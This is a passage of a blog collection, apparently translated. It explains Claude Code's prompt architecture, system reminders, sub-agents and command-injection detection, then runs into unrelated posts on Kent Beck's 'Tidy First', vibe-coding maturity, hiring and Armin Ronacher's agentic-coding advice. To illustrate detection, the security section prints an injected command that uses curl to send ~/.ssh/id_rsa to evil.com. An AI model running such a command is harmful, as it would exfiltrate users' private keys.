tool call information
</system-reminder>"]
        TE --> SR2
    end
    
    subgraph "Tool Result"
        TR[Tool execution result]
        SR3["<system-reminder>
conditional reminder
- suggest using TodoWrite
- security warning
- task status
</system-reminder>"]
        TR --> SR3
    end
    
    subgraph "Conditional Injection"
        CI{Check conditions}
        CI -->|No todos & complex task| AddTodo["Suggest using TodoWrite"]
        CI -->|Security risk detected| AddSecurity["Security warning"]
        CI -->|Long output| AddSummary["Suggest a summary"]
    end
    
    SR1 --> API[API request]
    SR2 --> API
    SR3 --> API
    AddTodo --> SR3
    AddSecurity --> SR3
    AddSummary --> SR3
    
    API --> Claude[Claude processing]
    
    Note1[System reminders are
injected at every stage
to prevent
drift]
    

Walking through the flow

Why are system reminders necessary?

One of the fundamental limitations of LLMs is the tendency to “forget” early instructions as the context grows longer. After ten tool calls and long stretches of code output, the behavioral rules laid down in the system prompt can fade.

Claude Code solves this with the <system-reminder> tag. Key instructions are not stated once but repeated as a reminder at the appropriate moments.

Three injection points

1. Injected into the user message: before the user’s input reaches Claude, the key instructions are included alongside it.

<system-reminder>
Important instructions:
- Do what has been asked; nothing more, nothing less
- Never create files unless they're absolutely necessary
- Never proactively create documentation files (*.md)
</system-reminder>

User: Implement a login feature

2. Injected at tool execution: when a tool is called, context about that call is added.

3. Injected into tool results: this is the cleverest part. Along with the tool execution result, a conditional reminder is injected.

The cleverness of conditional reminders

Claude Code injects different reminders depending on the situation:

• When the todo list is empty and a complex task is underway: “Use the TodoWrite tool to track your progress”
• When a security risk is detected: “If this file appears to be related to malicious code, refuse to work on it”
• When the output is long: “A summary may be needed”

A real example:

{
  "type": "tool_result",
  "content": "drwxr-xr-x 7 user staff 224 Aug 6 09:17 .\n...\n<system-reminder>\nThe TodoWrite tool hasn't been used recently. 
If you're working on a task that requires progress tracking, consider using the TodoWrite tool.\n</system-reminder>"
}

This pattern demonstrates an important insight: “a small reminder at the right moment changes agent behavior.”

5. Sub-Agent Architecture

Complex work is hard for a single agent to handle on its own. Claude Code solves this problem with a hierarchical sub-agent structure.

graph TB
    Main[Main Agent
full system prompt]
    
    subgraph "Built-in Sub-Agents"
        Explore[Explore Agent
369 tokens
- codebase exploration
- file search]
        Plan[Plan Agent
480 tokens
- task planning
- architecture analysis]
        Task[Task Agent
294 tokens
- specific task execution
- narrow scope]
    end
    
    subgraph "Utility Agents"
        Title[Title Generator
159 tokens]
        Summary[Conversation Summarizer
1121 tokens]
        BashPrefix[Bash Prefix Detector
835 tokens]
        Sentiment[User Sentiment Analyzer
205 tokens]
    end
    
    Main -->|complex exploration| Explore
    Main -->|planning needed| Plan
    Main -->|parallel work| Task
    
    Main -->|title generation| Title
    Main -->|conversation summary| Summary
    Main -->|command validation| BashPrefix
    Main -->|user sentiment analysis| Sentiment
    
    Explore --> Result1[Exploration results]
    Plan --> Result2[Execution plan]
    Task --> Result3[Task results]
    
    Result1 --> Main
    Result2 --> Main
    Result3 --> Main
    
    Note1[Sub-agent traits:
1. No TodoWrite reminder
2. Narrow-scope work
3. Results passed to Main Agent]
    
    Note2[Conditional reminder:
- when a Task grows complex
- injected into tool results
- suggests TodoWrite]
    

Walking through the flow

The Main Agent: the orchestra’s conductor

The Main Agent is the “core” that carries the full system prompt (10,000+ tokens). It takes in and analyzes the user’s request, spawns sub-agents as needed, and assembles the final result to deliver back to the user. It is much like an orchestra conductor directing each section and coordinating the whole piece of music.

Built-in sub-agents: specialized experts

• Explore Agent (369 tokens): specialized in codebase exploration. Given a question like “where’s the code that calls the API in this project?”, it quickly searches across many files and locates the relevant code.

• Plan Agent (480 tokens): draws up a plan for complex work. For a request like “refactor the payment system,” it works out which files to modify and in what order.

• Task Agent (294 tokens): runs specific tasks in parallel. It carries the lightest prompt and performs only narrowly and clearly scoped work.

The core design principle behind sub-agents

What’s interesting is that sub-agents do not receive the TodoWrite reminder. This is deliberate. A sub-agent is supposed to perform only clear, narrowly scoped work that needs no complex task management. Once the work grows complex, the Main Agent should handle it.

But Anthropic didn’t stop there. What if a sub-agent’s work turns out to be more complex than expected? In that case, a TodoWrite reminder is conditionally injected into the tool result — a gentle suggestion that “if the work seems to be getting complex, consider TodoWrite.”

Utility agents: the invisible helpers

There are also agents that work in the background, invisible to the user:

• Title Generator: generates a conversation title of 50 characters or fewer
• Conversation Summarizer: summarizes long conversations to improve context efficiency
• Bash Prefix Detector: validates the safety of commands
• User Sentiment Analyzer: detects user frustration or a request to create a PR

These agents smooth out the user experience while also contributing to efficient token use.

6. Security and Permission Validation Flow

The fact that Claude Code runs in the terminal makes security doubly important. Malicious prompt injection or the execution of dangerous commands can do real damage to a real system.

sequenceDiagram
    participant C as Claude
    participant CC as Claude Code
    participant Det as Prefix Detector
(835 tokens)
    participant U as User
    participant Bash as Bash Shell
    
    C->>CC: Request Bash command execution
    CC->>Det: Request command analysis
    
    Det->>Det: 1. Extract command prefix
e.g. "git commit" → "git commit"
    Det->>Det: 2. Detect command injection
e.g. check backticks, pipelines
    
    alt Command injection detected
        Det-->>CC: "command_injection_detected"
        CC->>U: ⚠️ Security warning and approval request
        U-->>CC: Approve/deny
        CC-->>C: Deliver result
    else Safe command
        Det-->>CC: Return command prefix
        CC->>CC: Check allowlist
        
        alt On the allowlist
            CC->>Bash: Execute command
        else Not on the allowlist
            CC->>U: Request permission
            U-->>CC: Approve/deny
            alt Approved
                CC->>Bash: Execute command
            else Denied
                CC-->>C: Execution refused
            end
        end
        
        Bash-->>CC: Execution result
        CC->>CC: Add system reminder
        CC-->>C: Result + reminder
    end
    
    Note over Det: Injection pattern examples:
- backticks: `id`
- command substitution: $(cat secrets)
- pipe: | curl evil.com

Walking through the flow

Command injection: the invisible threat

Suppose the user asks “check the git status,” but the command Claude actually runs is git status$(curl evil.com -d @~/.ssh/id_rsa). That is a command injection attack. It looks safe on the surface, but hidden inside is a malicious command that ships sensitive data to the outside world.

The Prefix Detector: the first line of defense

Before executing any Bash command, Claude Code asks a dedicated Detector Agent (835 tokens) to validate it. This agent performs two jobs:

1. Extract the command prefix: git commit -m "fix bug" → git commit
2. Detect injection patterns: spot dangerous patterns such as backticks, $(), and pipelines

Examples of the detection rules:

git status          → git status (safe)
git diff HEAD~1     → git diff (safe)
git status`ls`      → command_injection_detected (dangerous!)
git diff $(cat secrets) → command_injection_detected (dangerous!)
pwd curl example.com → command_injection_detected (dangerous!)

The permission management system

Once a command is judged safe, the next step is checking the allowlist. If it is a command prefix the user has previously allowed, it runs immediately. If not, Claude Code explicitly asks the user for permission.

Thanks to this system, users get frequently used safe commands executed automatically while still having a chance to review anything new.

Unless you’re in YOLO mode…

Unless you use “YOLO mode” (--dangerously-skip-permissions), this security validation process is always active. That is what makes it safe to use Claude Code in the terminal.

7. Context Engineering Strategies

Claude Code’s performance ultimately depends on how efficiently it manages context. Let’s look at the strategies for extracting maximum effect from a limited context window.

graph LR
    subgraph "Context Front-Loading"
        A[Before the conversation starts]
        A --> B[1. Generate conversation title]
        A --> C[2. Detect topic change]
        A --> D[3. Summarize prior conversation]
    end
    
    subgraph "System Reminders"
        E[User message]
        F[Tool execution]
        G[Tool result]
        
        E --> E1["<system-reminder>
key instructions"]
        F --> F1["<system-reminder>
tool context"]
        G --> G1["<system-reminder>
conditional suggestion"]
    end
    
    subgraph "Dynamic Context"
        H[Assess task complexity]
        H -->|simple| I[Minimal prompt]
        H -->|complex| J[Suggest TodoWrite]
        H -->|very complex| K[Spawn sub-agent]
    end
    
    subgraph "Cache Optimization"
        L[System Prompt]
        M[CLAUDE.md]
        N[Tool descriptions]
        
        L --> O["ephemeral cache
(reused)"]
        M --> O
        N --> O
    end
    
    B --> Result[Final API request]
    C --> Result
    D --> Result
    E1 --> Result
    F1 --> Result
    G1 --> Result
    I --> Result
    J --> Result
    K --> Result
    O --> Result
    

Walking through the flow

Context front-loading: preparing in advance

Before handling the user’s request, Claude Code performs a few “preparatory tasks.” It generates a conversation title, judges whether the current message is on a new topic, and, if necessary, summarizes the earlier conversation.

These steps involve separate LLM calls. On the surface that may look inefficient, but the context prepared this way substantially improves the quality of the conversation that follows. It is why Claude can pick up naturally with “ah, we talked earlier about refactoring the payment system.”

System reminders: constant recall

As described earlier, the <system-reminder> tag is injected throughout the conversation. This is a strategy of “repeat whenever needed” rather than “say it once and you’re done.” Just as you remind a human teammate of important points more than once, the same applies to an AI agent.

Dynamic context adjustment

Context is adjusted dynamically according to the complexity of the work:

• Simple work: use a minimal prompt. Avoid wasting tokens.
• Medium complexity: suggest using TodoWrite to track progress.
• High complexity: spawn a sub-agent to split up the work.

Cache optimization: cutting token costs

Claude Code makes use of the Anthropic API’s ephemeral cache feature. It applies cache control to repeatedly used content such as the system prompt, CLAUDE.md contents, and tool descriptions, so the same tokens aren’t reprocessed on every request.

{
  "text": "You are Claude Code...",
  "type": "text",
  "cache_control": {
    "type": "ephemeral"
  }
}

This optimization contributes not only to cost savings but also to faster responses.

Key Insights

Here are the key insights I found while analyzing Claude Code. These lessons should be useful to anyone building AI agents.

1. The power of dynamic prompt composition

“The answer isn’t one all-purpose prompt, but a prompt system assembled to fit the situation”

Claude Code does not use a single prompt. Instead, more than 40 prompt fragments are combined dynamically according to conditions. Per-project context injection through CLAUDE.md, real-time updates based on environment and Git status, selective prompt inclusion depending on the active mode — all of it adds up to the experience of “an AI that understands the situation.”

Applying it in practice: when building your own AI agent, don’t try to write one giant prompt. Instead, create modular prompt fragments and design a system that assembles only what the situation requires.

2. The magic of system reminders

“What matters isn’t saying it once, but repeating it at the right moment”

The <system-reminder> tag is Claude Code’s “secret weapon.” Key instructions are repeated at every stage — user messages, tool calls, tool results. This prevents drift and keeps the focus on the goal even in long conversations.

Applying it in practice: when your agent is performing a long task, don’t put the important instructions only at the start. Inject reminders at appropriate points along the way. The pattern of adding conditional reminders to tool execution results is especially effective.

3. A hierarchical agent structure

“The answer isn’t one all-purpose agent, but collaboration among several agents with clear roles”

Claude Code has a hierarchical structure made up of a Main Agent, sub-agents, and utility agents. Each agent has a clear role and an optimized prompt. The Main Agent focuses on overall coordination, the Explore Agent on exploration, the Plan Agent on planning, and the Task Agent on execution.

Applying it in practice: don’t try to solve complex work with a single agent. Separate agents by role, and give each one an optimized (and minimized) prompt. You can accomplish more focused work with less context.

4. Security-first design

“Security isn’t something you add later; it has to be built into the architecture from the start”

A dedicated agent for detecting command injection, command prefix extraction and validation, a user permission approval process — Claude Code made security a core design principle. All of it is what lets users work with AI in the terminal “with peace of mind.”

Applying it in practice: especially when building agents that involve code execution or file system access, make a security validation step mandatory. “Make it work first and add security later” is a dangerous approach.

5. Efficient context management

“Getting the maximum effect from a limited context window is the heart of the engineering”

Context front-loading, ephemeral cache, conditional context injection, conversation summarization — Claude Code treats every single token as precious. It removes unnecessary information, caches repeated information, and injects only what is needed, exactly when it is needed.

Applying it in practice: don’t think of the context window as infinite. Examine whether each part of your prompt is truly necessary, establish a caching strategy, and implement dynamic context adjustment.

Conclusion: what Claude Code teaches us

The most striking thing about analyzing Claude Code is the meticulous engineering hidden behind behavior that looks like “magic.” It isn’t one well-crafted prompt. Dozens of small prompt fragments are combined according to conditions, reminders are injected at the right moments, and security validation runs automatically — and that process is what produces the experience of software that “just works.”

There is one more mystery Anthropic has not disclosed: whether the <system-reminder> tag was trained to carry special meaning during Claude model training. Whether this tag is simple XML markup, or a “special signal” the model has been trained to pay particular attention to, is still unclear.

What is clear, though, is that Claude Code’s patterns contain universal principles applicable to all AI agent development:

1. Modularize your prompts and combine them dynamically
2. Repeat important instructions as reminders
3. Split complex work across specialized agents
4. Build security into the design from the start
5. Manage context efficiently

Finally, while this article explains how Claude Code works, I hope it also serves as a reference for those building AI agents for purposes other than coding.

The greatest first AI agent - Agent Smith

References

Official documentation

• Claude Code Best Practices - Anthropic
• System Prompts - Claude Docs

Technical analysis

• Peeking Under the Hood of Claude Code - OutsightAI

GitHub

• Piebald-AI/claude-code-system-prompts - full list of system prompts (v2.0.43)
• gregkonush/claude-system-prompts
• Claude Code System Prompt Gist

Tools

• LiteLLM - API monitoring proxy
• tweakcc - system prompt customization tool

Lately I’ve been using Claude Code as my main working tool. The reason Claude Code performs so well is that it doesn’t execute a task immediately — it plans the work as a whole, systematically, then breaks it into small, clearly defined steps and carries them out one at a time.

Today I’d like to introduce one more useful methodology on top of that: the approach called “Augmented Coding,” proposed by Kent Beck — famous as the originator of TDD (Test Driven Development) — on his blog. Seeing that he, too, is obsessed with coining new terms, it looks like he’s in a hurry to grab a piece of the vibe coding wave. That said, since this approach is grounded in the content of a book Kent Beck wrote previously — Tidy First? by Kent Beck — I’ve decided, on my own authority, to call it the “Tidy First methodology.”

TL;DR

• Tidy First is an approach that separates structural changes from behavioral changes to lower complexity when coding with AI.
• Tidy the code first and verify it with tests, then introduce functional changes — that’s what keeps your workflow from getting shaken up.
• Used together with a tool like Claude Code, it makes it easier for the developer to stay in control of code quality and direction.

The Core of Augmented Coding and Tidy First

The core of what Kent Beck calls Augmented Coding is clearly dividing coding work into two kinds: structural changes and behavioral changes. Structural changes are things like moving code around, renaming, or extracting a method — work that doesn’t alter the behavior of the code. Behavioral changes are work that actually adds to or modifies the functionality of the code.

Beck emphasizes that these two kinds of change must never be mixed into a single commit. In particular, he explains that you should always handle structural changes first, and only introduce behavioral changes once you’ve lowered the complexity of the code that way and are maintaining a clear test environment.

The Rules Kent Beck Laid Out

Here are the “Tidy First” rules Kent Beck actually used in his project:

• Always follow the TDD cycle (red → green → refactor) strictly.
• Write the simplest failing test first.
• Make the test pass with the minimum amount of code, and go no further.
• Refactor only after the test passes.
• Separate structural changes from behavioral changes, and keep the commits clearly distinct.
• Commit only when all tests pass, there are no warnings, and the work forms a clear logical unit.
• Thoroughly eliminate duplication in the code, and express intent through clear names and structure.
• Keep methods small, and have each one carry a single responsibility.

If you code while keeping to these clear rules, your code will incrementally become more robust and easier to understand, while avoiding complexity and unnecessary feature additions.

Applying Tidy First in Practice, and Its Benefits

From applying this “Tidy First methodology” alongside Claude Code in real projects, I found that it worked very effectively in the majority of them. When you start with structural changes to keep the codebase clean and only then introduce behavioral changes, you’re far less likely to get lost midway as the code grows complex.

As Kent Beck noted in his B+ Tree project, there are times when AI (GenAI) adds features that aren’t needed, or the code becomes complex and development slows down. To prevent this, you should always do the structural tidying work first, and only add the next functional change after that work has been precisely verified by tests.

The “Tidy First methodology” lets the developer maintain control and clarity over the code when working with AI, and it’s a great help in managing code quality and complexity.

This methodology will surely be effective in your projects too. I strongly recommend giving it a try.

Related Links

• Augmented Coding: Beyond the Vibes
• The rules file for the BPlusTree project
• Tidy First? by Kent Beck

A lot of developers think of vibe coding as nothing more than “a way to generate code automatically.” Give the tool an instruction, wait a moment, and beautiful code pops out. Reality is not that simple. In an environment with no automated tests, no solid design, and not even a functioning review process, vibe coding just churns out garbage code faster.

This is not a tooling problem. It is an engineering maturity problem. Software engineering maturity and vibe coding complement each other, and only in an environment with high engineering maturity can vibe coding show what it is really capable of.

TL;DR

• In organizations weak on engineering fundamentals such as testing, design, and review, vibe coding can actually magnify quality problems faster.
• Conversely, once documentation, test automation, IaC, and a review process are in place, AI tools lift development speed and quality together.
• Vibe coding is a tool that works well only in mature organizations, and at the same time a tool that raises an organization’s maturity.

Paradoxically, vibe coding tools are enormously useful for raising engineering maturity. With vibe coding techniques you can organize specification documents, analyze existing code to generate tests automatically, and quickly verify whether those tests satisfy the spec. Implementing infrastructure quickly and accurately as IaC (Infrastructure as Code) is likewise possible without human intervention. Tools like SuperClaude, for example, make it easy to carry out a range of activities including code analysis, documentation, implementation, testing, and security scanning.

The relationship between vibe coding and engineering maturity can be expressed like this.

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'primaryColor': '#3b82f6',
    'primaryTextColor': '#1e293b',
    'primaryBorderColor': '#1e40af',
    'lineColor': '#6366f1',
    'secondaryColor': '#8b5cf6',
    'tertiaryColor': '#ec4899',
    'background': '#ffffff',
    'mainBkg': '#f8fafc',
    'secondBkg': '#e2e8f0',
    'tertiaryBkg': '#cbd5e1'
  }
}}%%
flowchart LR
    A["🚀 Vibe Coding"] 
    B["📈 Higher Software
Engineering Maturity"]
    C["📚 Documentation
System"]
    D["🏗️ IaC-Based
Immutable Infrastructure"]
    E["🔍 Effective
Review Process"]
    F["⚡ Augmented Coding
Approach"]
    
    A --> C
    A --> D
    A --> E
    C --> B
    D --> B
    E --> B
    B --> F
    F --> A
    
    classDef startNode fill:#3b82f6,stroke:#1e40af,stroke-width:3px,color:#ffffff
    classDef processNode fill:#8b5cf6,stroke:#7c3aed,stroke-width:2px,color:#ffffff
    classDef outputNode fill:#10b981,stroke:#059669,stroke-width:2px,color:#ffffff
    classDef maturityNode fill:#f59e0b,stroke:#d97706,stroke-width:3px,color:#ffffff
    
    class A startNode
    class C,D,E processNode
    class F outputNode
    class B maturityNode

Here is my advice to anyone about to start with vibe coding. First put your existing project’s documentation in order, build test automation, and set up a fully automated CI/CD pipeline along with IaC-based immutable infrastructure. Raising your engineering maturity is the first step toward using vibe coding properly. With software engineering maturity behind you, Kent Beck’s augmented coding approach can then take the quality and speed that vibe coding delivers to their maximum.

The era of vibe coding is well and truly upon us. A world where AI writes the code and handles most of the day-to-day work has become reality. According to a blog post from Final Round AI, an AI-powered interview assistance platform — Halfway Through 2025, AI Has Already Replaced 94,000 Tech Workers — the headline says it all: roughly 94,000 people lost their jobs to AI in the first half of 2025 alone.

Admittedly, the number was padded somewhat for shock value by lumping in business restructuring that merely happened around the same time. But it is hard to deny that the changes AI is bringing to the developer world are faster and more powerful than anyone imagined. So what should companies be thinking about in this situation? They need to change how they hire.

Hiring in the previous era focused on “what do you know” and “what can you do.” But if AI can do the job, there is no particular reason to hire a person for it. Instead, companies need to completely rebuild their hiring strategy around the capabilities found only in people: strategic thinking, leadership, and interpersonal communication.

TL;DR

• Hiring in the vibe coding era should evaluate the human capabilities AI cannot replace, rather than knowledge held or output produced.
• The core things to assess are communication, strategic thinking, leadership, collaboration, self-reflection, and review skills.
• Changing the criteria for hiring and promotion sends a powerful message to the entire organization about where the company is headed in the AI era.

So how do you do it? Here are the hiring practices I propose for effectively assessing the capabilities AI cannot supply.

First, evaluate communication skills from the very first stage of hiring. Have candidates submit a three-minute self-introduction video and write a short essay, so you can gauge their logical expression and communication ability. The more AI advances, the more important communication becomes — both between people and between people and AI.

Second, introduce an “adaptive business case” exercise to assess strategic thinking. Give the candidate an ambiguous assignment, then abruptly change the situation right before submission. Real business rarely hands you a clearly defined problem. Only by watching someone recalibrate their strategy calmly amid crises and shifting variables can you identify genuine talent.

Third, to assess leadership and collaboration, a “multiplayer mission room” is worth using. Candidates solve a task in a mixed team that includes AI, while you observe how wisely they manage conflict and crisis. Pay attention to who steps up as the leader and how they put AI to use.

Fourth, run deep behavior-based interviews. Question candidates about their past behavior using the STAR method, and probe relentlessly into how they actually acted in difficult situations. That is where authenticity and the capacity for self-reflection come out.

Finally, assess the candidate’s ability to review code and documents, not to produce them. Rather than production ability, check how quickly and accurately they can evaluate work created by other people or by AI. Review capability will emerge as a core competency in the AI era.

These are only proposals; I have not yet put them into practice. But now is the time to change. Some will survive or even thrive amid the change, and others will decline comfortably while doing things the way they always have. A company is a kind of pipeline through which people flow — and in a pipeline, the first stage matters most. Hiring and promotion are the clearest messages a company sends to its people. And that requires a decision from the chief executive. Setting the direction and pace of change is ultimately the CEO’s job. Only with the CEO’s resolve can the whole company catch up with change and get ahead of it.

This post is based on Armin Ronacher’s blog article “Agentic Coding Recommendations”.

Foreword

A few days ago I came across Armin Ronacher’s blog post “Agentic Coding Recommendations” on the developer community Geek News, and it left quite an impression on me. Armin is best known as the creator of the Flask web framework, and his insights on vibe coding line up closely with the direction Roboco is heading. In this post I want to unpack the core ideas in Armin’s article in an accessible way, for people just getting started with vibe coding through tools like Claude Code, Cursor, and Windsurf.

TL;DR

• Agentic coding is a way of working in which you hand a goal to an AI agent and the developer reviews the results and the overall direction.
• Simple languages, fast tools, clear logs, and conservative dependency management all reduce the agent’s mistakes.
• The more code AI writes, the more deliberately developers have to think about simplicity, stability, and the right moment to refactor.

What Is Agentic Coding?

Agentic coding, as Armin uses the term, is a development approach in which much of the coding work is delegated to an AI agent. An agent here means an autonomous program that takes instructions from a developer and carries out work on its own. In this context it refers to an AI program that assists with coding work the way a person would, handling development tasks such as editing files, running commands, and searching the web the way an agent (a delegate) would.

It goes a step beyond typical AI coding assistants (GitHub Copilot autocompletion, code generation with ChatGPT, and so on): you assign the agent a single task goal, and the agent works out and performs the sequence of steps needed to reach it.

Agentic coding was the leading term for AI-driven development until Andrej Karpathy proposed the term vibe coding, and it is still widely used alongside it. Out of respect for the original author’s intent, this article uses agentic coding consistently rather than vibe coding.

Put simply: a human developer gives a natural-language instruction like “fix the bug in project X,” and the agent takes it from there, understanding the codebase, modifying the code, and running tests to produce a result. What characterizes the process is that the developer does not intervene at each individual step, but waits until the result comes back.

In this approach, the role of the IDE (integrated development environment) we have relied on shrinks considerably too. In Armin’s case, the agent handles most of the coding, so he only does the finishing touches in a text editor (something like Vim). That is the extent to which the agent takes the lead in the coding process under agentic coding.

So why do we need agentic coding? First, because used well, it can dramatically increase development productivity. If an agent takes over the repetitive work that eats up a developer’s time (refactoring code, making changes across multiple files, getting up to speed on long documents or codebases), the developer can focus on more creative and more important problems. Armin himself stresses that “integrating agents into the development process yields significant productivity gains.” This approach is also a way to bring the latest potential of rapidly advancing AI technology into development work.

Finally, agentic coding is not just about “writing code faster.” Ultimately, the goal is to write better-quality code and improve maintainability and stability. Armin notes that AI code output, which was poor just a few months ago, has improved considerably, and says it will keep advancing. So if you make good use of tools like Claude Code, which we’ll look at later in this article, even a beginning developer can gradually grow into “a developer who collaborates with AI agents.”

Armin’s Core Principles for Agentic Coding

In his article, Armin Ronacher offers a number of pieces of advice for using agentic coding effectively. I’ll walk through his main recommendations one by one, in a way that readers with only basic programming knowledge can follow:

1. Choose a simple, stable language: If you get to choose the language the agent will work in, Armin recommends picking one that is as simple as possible. He strongly recommended Go for new backend projects, and his reasoning is clear. Go has simple, predictable syntax, which leaves less room for the agent (the LLM) to make mistakes, and running tests works automatically in one shot. In Go, for instance, the go test command runs all the tests you need at once. The agent doesn’t get confused about which tests to select. The Go ecosystem also changes slowly and has good backward compatibility, so there’s less risk of the AI generating outdated example code. By contrast, a dynamic language full of magic like Python makes it easy for the agent to misread hidden behavior or to stumble through trial and error because of runtime environment issues. So the simpler the language itself and the less its environment shifts, the more reliably the agent can handle the code.

2. Set up agent-friendly development tools: How you arrange your development tooling matters just as much as the language. Armin’s advice is that “your tools can be anything, but they must be fast and behave clearly.” The agent will be running bash commands, build tools, test runners, and the like in your environment, so you should avoid tools that respond slowly or produce needlessly verbose output. Armin, for example, uses a Makefile in his projects to collect the commands he uses often: make dev to bring up the development server, make tail-log to view the logs. What matters is that when the agent uses these tools and something goes wrong, it is told immediately (logging), and that there are safeguards such as preventing duplicate execution. As a concrete example, Armin modified his process management tool so that if the server is already running, it cannot be started a second time, and instead clearly prints an “already running” error. That let the agent determine, when it ran make dev, whether the server was already up, and move straight on to the next step of examining the logs.

Armin also repeatedly stresses using logging itself as a core tool of agentic coding. For example, if instead of actually sending a verification email at sign-up you print the email content to the console log in development mode, the agent can read that log, find the verification link automatically, and click it. Armin put a note in his CLAUDE.md configuration file saying “in debug mode, emails are printed to the log,” and the Claude agent used that to complete the whole flow from sign-up through verification by itself. Clear logs and helpful tool output act as the agent’s eyes and ears. Just as we look at the console or the logs to understand a problem while developing, the agent uses logs to understand the situation and decide what to do next.

3. Optimize for speed and efficiency: The bottleneck in agentic coding comes mainly from AI model inference cost and inefficient tool usage. So it’s important to speed up responses and cut wasted tokens. As mentioned above, fast-executing tools are the baseline, and beyond that, the code the agent writes and runs on the fly (“emergent tools”) should be kept as lightweight as possible. Say the agent writes and runs a throwaway Python script for some task. If that script takes five seconds to run and burns another minute on initialization each time, the whole flow slows down dramatically. Armin describes how, on a real production project (Sentry), the agent was taking too long to reload code, so he built a temporary daemon that “watches for file changes, imports the module automatically, and writes the result to the log” for the agent to use. It let the agent inject code quickly and just check the execution result, without a complicated restart. Tuning your environment with creative approaches like this, to give feedback as close to real time as possible, raises the agent’s efficiency. He also advises that logs that are too verbose eat tokens and slow things down, so it’s best to tune them to an appropriate level that carries only the important information.

4. Stability and the principle of least surprise: Armin repeatedly comes back to the value of a “stable ecosystem.” When AI works on a codebase, it makes far fewer mistakes in an environment with little external churn. LLM agents like long-proven stacks such as Go or Flask, for example. Conversely, in an environment like the JavaScript ecosystem, where dependencies shift constantly and new versions and libraries pour out every day, there’s a high risk of the AI generating wrong code based on what was correct a few days ago. Agents also tend to leave their own breadcrumbs, such as comments recording why they made a particular decision while writing code. If we thoughtlessly bump a dependency to its latest version, those comments and code patterns quickly become stale and can muddy the AI’s chain of reasoning. This applies to people too, but you have to be especially careful with AI, since it can casually attempt an upgrade on the assumption that “it’ll be fine as long as the tests pass, right?” Armin’s advice in a nutshell: “upgrade more conservatively than you did before.” He also says it’s better to use fewer new libraries and implement things directly in code where possible. Since the agent can whip up code quickly anyway, the idea is to write the functionality you need yourself instead of pulling in complex dependencies, and thereby maintain consistency and predictability. Armin had in fact previously written an article titled “why you should write your own code,” and he says doing agentic coding has only strengthened that conviction.

5. Keep code as simple as possible: “Complex code doesn’t perform well in an agentic environment. Pick the dumbest-looking solution that works” is a line Armin emphasizes. When an agent works with code, clarity comes first. So developers should aim for a more direct, simpler code style than usual. For example, several functions with long, specific names are easier to understand than complex class inheritance. Overusing highly abstract patterns or magic (magic numbers, reflection, and so on) makes it easy for the AI to lose the thread. Armin goes as far as advising you to “write plain SQL queries directly.” Rather than handling the database indirectly through an ORM, having the agent write SQL makes it easier for the AI to line up the SQL output in the logs against its own code and debug. Important logic such as permission checks should also be kept as close to the relevant code as possible. If permission checks are hidden away in a configuration file or a decorator, there’s a risk the agent will miss them when adding new functionality and open a security hole. In the end, “simple, clear, consistent code” is good code for both agents and humans.

6. Keep parallelization in mind: A single agent isn’t all that fast, but running several at once lets you parallelize the work and raise efficiency. If you need to fix lint errors across hundreds of files at once, for example, rather than having one agent work through them in sequence, you assign several agents a subset of the files each. To do that, you have to structure the project so that contention over shared resources (the filesystem, the database, and so on) is minimized. It isn’t easy, but Armin points to early attempts that are emerging, such as isolation tooling using Docker and running background agents in CI (continuous integration) environments. He hasn’t fully adopted it in his own workflow yet, but he expects this to be a rapidly advancing area, so it may well become practical before long.

7. Refactor at the right time: In an agentic coding environment, the timing of refactoring matters. Up to a certain point, an agent handles code of moderate complexity without trouble. But once a project’s size and complexity cross a threshold, the agent’s ability to hold context hits its limits too. Armin gives an example: “early on you can develop quickly with the agent, scattering Tailwind CSS classes all over the frontend, but once your styles are spread across 50 files, it’s time to restructure into a component library.” Once a codebase gets that sprawling, even the agent struggles to make consistent changes, and large edits can spawn a stream of bugs. So while there’s no need to refactor so early that you kill your initial velocity, put it off too long and you reach a point where even the agent can’t clean up the mess. Whether human or AI, tidying up the code structure at the right moment is essential to maintainability. In agentic coding, the agent adds new functions and files effortlessly, so at some point the developer has to step in and do a big cleanup, consolidating duplicated code and modularizing, to make future work go smoothly.

These principles are the part Armin emphasizes as “essential concepts that will hold up even as the technology changes.” The actual tools and techniques will evolve quickly, but principles like simplicity, stability, observability (logging and so on), and smart parallelization will continue to determine success or failure in agentic coding. Our team at Roboco strongly agrees with these insights, and we believe that for a healthy culture of coding with AI to take root, these fundamental principles of software engineering will only become more important.

Practical Examples with Claude Code

Now let’s look at how the agentic coding described above actually works in practice, using Anthropic’s Claude Code. Claude Code is the command-line AI coding agent Armin primarily uses; you run it from a project directory with a terminal command (claude). The agent understands the codebase, edits files, and can run test or build commands directly. It also integrates with Git, making it a powerful tool that can help with searching git history, committing, and even creating PRs. Below are a few situational examples using Claude Code.

Example: Refactoring Code

Say, for example, that we want to improve the performance of a function called processData(). Normally the developer would open that function, modify the logic, and verify the behavior of the related parts. With Claude Code, much of this refactoring work can be automated. The developer simply gives an instruction in natural language.

Refactor the processData() function so that it uses streaming instead of loading all the data at once.

Once you enter the prompt, the Claude Code agent opens the file containing the processData function on its own and starts modifying the code. For example, it will change the part that loaded all the data into memory at once to a streaming approach, and if necessary it will also modify the signatures of related functions. After making the changes, Claude Code automatically runs the project’s tests to check that the refactoring didn’t break existing functionality. If a test fails, the agent may analyze the cause and make further changes to the code. Once all tests pass, Claude Code will show the developer a summary such as “refactoring complete, memory usage is substantially lower, and all existing tests pass.” The developer reviews this diff and, if satisfied, can commit right away.

Example: Summarizing Documents

Agents are useful not just for coding but also for understanding and summarizing documents. Suppose a new developer has joined the project. When they need to get up to speed quickly on a design document called ARCHITECTURE.md, they can ask Claude Code for a summary.

Summarize the contents of docs/ARCHITECTURE.md in three lines

Claude Code reads the markdown document, pulls out the key points, and summarizes them. For example, it might output something like the following.

- This project is built on a client-server architecture, with the server providing a REST API.
- It includes modules for user authentication and permission management, with feature access restricted by role.
- For scalability, a message queue and a cache were introduced so the system can handle growing traffic in the future.

With these summarized points, the newly arrived developer can understand the system’s structure in a short time. In this way, Claude Code can be used to answer questions or summarize by grasping the context not only of the project’s code but of related documents as well. You can also use it as a code Q&A assistant, asking where a particular feature is implemented in a large codebase or what various configuration files do.

Example: Generating a Function

This time, a code generation scenario for adding new functionality. Suppose we need logic that checks permissions before a user account is deleted. If we want to add a function called checkPermissionBeforeDelete() for this, we can ask Claude Code to write it.

Create a checkPermissionBeforeDelete(user) function that raises an error if the user does not have delete permission

